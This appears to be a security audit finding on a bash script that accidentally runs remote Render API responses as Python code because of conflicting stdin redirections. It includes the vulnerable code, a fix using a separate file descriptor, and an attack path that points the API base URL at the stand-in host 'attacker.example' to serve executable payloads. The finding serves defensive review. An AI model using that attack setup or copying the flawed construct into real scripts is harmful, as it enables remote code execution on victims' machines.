T03 · Remote Payload Retrieval and Execution
Error
- Location
- scripts/check-render-env.sh:34
- Finding
- Remote API Responses Are Executed as Python Code<![CDATA[ ## Vulnerability Details **File Location**: `scripts/check-render-env.sh`, lines 34-44 and 93-103 **Vulnerability Type**: Remote code execution through conflicting standard-input redirections **Risk Level**: Critical ### Vulnerable Code ```bash local services_json services_json="$(api_get "/services")" local matches matches="$(python3 - "$SERVICE_NAME" <<'PY' <<<"$services_json" import json, sys name = sys.argv[1] rows = json.load(sys.stdin) for row in rows: svc = row.get("service") or {} if svc.get("name") == name and svc.get("id"): print(svc["id"]) PY )" ``` The same vulnerable construction is used when processing environment variables: ```bash value="$(python3 - "$key" <<'PY' <<<"$env_json" import json, sys k = sys.argv[1] rows = json.load(sys.stdin) for row in rows: env = row.get("envVar") or {} if env.get("key") == k: print(env.get("value") or "") break PY )" ``` ### Technical Analysis The command `python3 -` instructs Python to read and execute its program from standard input. Each invocation supplies two competing redirections: 1. A heredoc containing the intended trusted Python parser. 2. A subsequent here-string containing the untrusted API response. Shell redirections are processed from left to right. The final `<<<"$services_json"` or `<<<"$env_json"` redirection replaces the heredoc as the command's standard input. Therefore, Python treats the remote API response as source code rather than JSON data. The response is retrieved through `curl` from the caller-configurable `RENDER_API_BASE_URL`. An attacker who controls that endpoint, can alter the environment variable, or can compromise the configured API server can return syntactically valid Python that executes arbitrary commands. ### Attack Path 1. The attacker sets or influences `RENDER_API_BASE_URL`, for example: ```bash export RENDER_API_BASE_URL="https://attacker.example" ``` 2. The victim runs: ```bash bash scripts/c ...[truncated 1290 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions Do not use the same standard-input stream for both Python source code and untrusted JSON. Use a fixed Python program and pass the response through a separate file descriptor, environment variable, or safely managed file. One possible pattern uses file descriptor 3: ```bash matches="$( python3 - "$SERVICE_NAME" 3<<<"$services_json" <<'PY' import json import sys name = sys.argv[1] with open(3) as stream: rows = json.load(stream) for row in rows: svc = row.get("service") or {} if svc.get("name") == name and svc.get("id"): print(svc["id"]) PY )" ``` Apply the same correction to the environment-variable parser: ```bash value="$( python3 - "$key" 3<<<"$env_json" <<'PY' import json import sys key = sys.argv[1] with open(3) as stream: rows = json.load(stream) for row in rows: env = row.get("envVar") or {} if env.get("key") == key: print(env.get("value") or "") break PY )" ``` Additional hardening should include: - Validate that API responses use the expected JSON structure before processing them. - Reject unexpectedly large responses. - Pin the API origin to the legitimate Render HTTPS endpoint. - Run the checker with minimal filesystem and network permissions. - Add regression tests proving that Python-looking response content is parsed only as data and is never executed. ]]>
